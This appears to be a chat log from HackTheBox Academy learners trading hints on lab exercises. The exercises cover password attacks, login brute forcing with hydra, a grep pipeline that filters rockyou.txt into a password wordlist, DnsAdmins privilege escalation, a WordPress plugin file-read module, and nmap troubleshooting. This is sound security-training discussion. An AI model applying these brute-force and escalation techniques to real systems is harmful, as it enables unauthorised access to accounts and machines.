mine was slightly different. grep '[[:upper:]]' /usr/share/wordlists/rockyou.txt | grep '[[:punct:]]' | grep '[[:lower:]]' | grep -E '^.{20,20}$' | grep '[[:digit:]]$' > testlist.txt

[zealous summit]

I am currently in the public exploits module of the getting started and when I try to connect to target machine it is unpingable

I have tried both being connected to vpn and not

[lethal atlas]

@zealous summit not all machines respond to ICMP. The target is still there.

[lethal atlas]

and you will always need to be connected to VPN to reach the target. Make sure you only have tun0. if you have more than one it will cause issues.

[zealous summit]

Thank you 🙂

[brave prawn]

Need help with Skills Assesment in Pivoting, Tunneling, Port Forwarding module. Stucked on the next to the last question, can someone help?

[sturdy igloo]

anyone completed Password Attacks - Password Reuse / Default Passwords that can help with "Use the user's credentials we found in the previous section and find out the credentials for MySQL. Submit then credentials as the answer. (Format: <username>:<password>)"

[zealous summit]

you should be able to just go back a few pages and grab the credentials

[nova thistle]

Can anyone help me out with the exercise given at the end in

https://academy.hackthebox.com/module/77/section/847

It's the same as this users question.
From what I've read i have to use netcat (ip) (port) but it's not working

or maybe im just wrong

Nevermind i figured it out. In the target it gives the port with colon but if you run it the result won't show up

you have to add space between the port and the ip

[tame lantern]

Any chance someone could give me a nudge on 'Skills Assessment - Website' for the Login Brute Forcing module? I feel like I'm missing something fundamental but simple..

[sage jackal]

Hello on Windows Privilege Escalation; DnsAdmins section I followed the steps and I added myself to Domain Admins group but I still get access denied on everything and can’t read the flag, any help?

[lethal atlas]

what question?

[tame lantern]

Just the first one. I'm trying something though, standby.. I forgot about one of the sections, but I think I might know what to do.

[lethal atlas]

simple hydra command will do.

[tame lantern]

Yeah something I haven't really understood is isolating which wordlist(s) to use. rockyou.txt would take forever so I'm just trying what I can.

[lethal atlas]

I understand that. I used the same wordlist they used in the examples. ftp-betterdefaultpasslist .txt

[tame lantern]

Ah, good catch. Thanks!

Gah I have such a problem overcomplicating things. I got it, thanks @lethal atlas

[lethal atlas]

yw

[twilit bluff]

someone can help me to find the right exploit for Simple Backup plugin 2.7.10 for wordpress

[zealous summit]

have you tried using searchsploit

[twilit bluff]

yes

i have found this exploit but nothing happen auxiliary/scanner/http/wp_simple_backup_file_read

[sturdy igloo]

need help Password Reuse / Default Passwords for mysql in module Password Attacks. Have tried all previous user:pass but no luck

[twilit bluff]

is the question of getting started module section public exploits

[zealous summit]

catta im on the same module

I have found a lot of filtered services

[gloomy tangle]

Hey! Happened the same to me. Log off session or restart target aka windows. that should work.

[sage jackal]

How can I do that?

[gloomy tangle]

when you have done all the procedure, on your windows target, go to windows icon and restart. then connect again with remmina or other.

[sage jackal]

it’s wasn’t possible to restart the computer but I could sign out and then reconnected with RDP and had the privileges. Thanks!

[zealous summit]

im on public exploits in getting started

and I cant seem to complete an nmap scan, in any kind of reasonable time, my first scan with just -Pn took so long my target system reset

[zealous summit]

can anyone confirm whether or not we should be trying to exploit filtered services?

or ignorning those

[rocky ice]

YES BUT THE OTHER PEOPLE ARE DOING BAD THINGS

[placid quest]

@zealous summit check the vpn

@twilit bluff try to change on the file

[zealous summit]

I am connected to the academy vpn, is there anything i should look at

[placid quest]

@zealous summit try to ping

[zealous summit]

ping: 178.62.91.197:30269: Name or service not known

[placid quest]

@zealous summit That looks like a web site since it has the ip and the port

[zealous summit]

--- 178.62.91.197 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3072ms

[placid quest]

@zealous summit try see if you can access the web site

[zealous summit]

no response from curl or browser

OH GOOD grief,, thank you for advice about checking it as a website

https://tenor.com/view/doh-homer-simpsons-silly-gif-4837044

[west canopy]

typically docker targets won't be pingable 😉

[zealous summit]

are you connected to vpn?

[nova thistle]

I got the same issue

i couldn't complete nmap scan

[lethal atlas]

if there is a port designation. such as 178.62.91.197:30269 you cant use the whole thing for ping or nmap. the 30269 is the port number. so for nmap leave it off or specify it with -p. As far as pinging, like @west canopy said if its a docker it likely wont respond.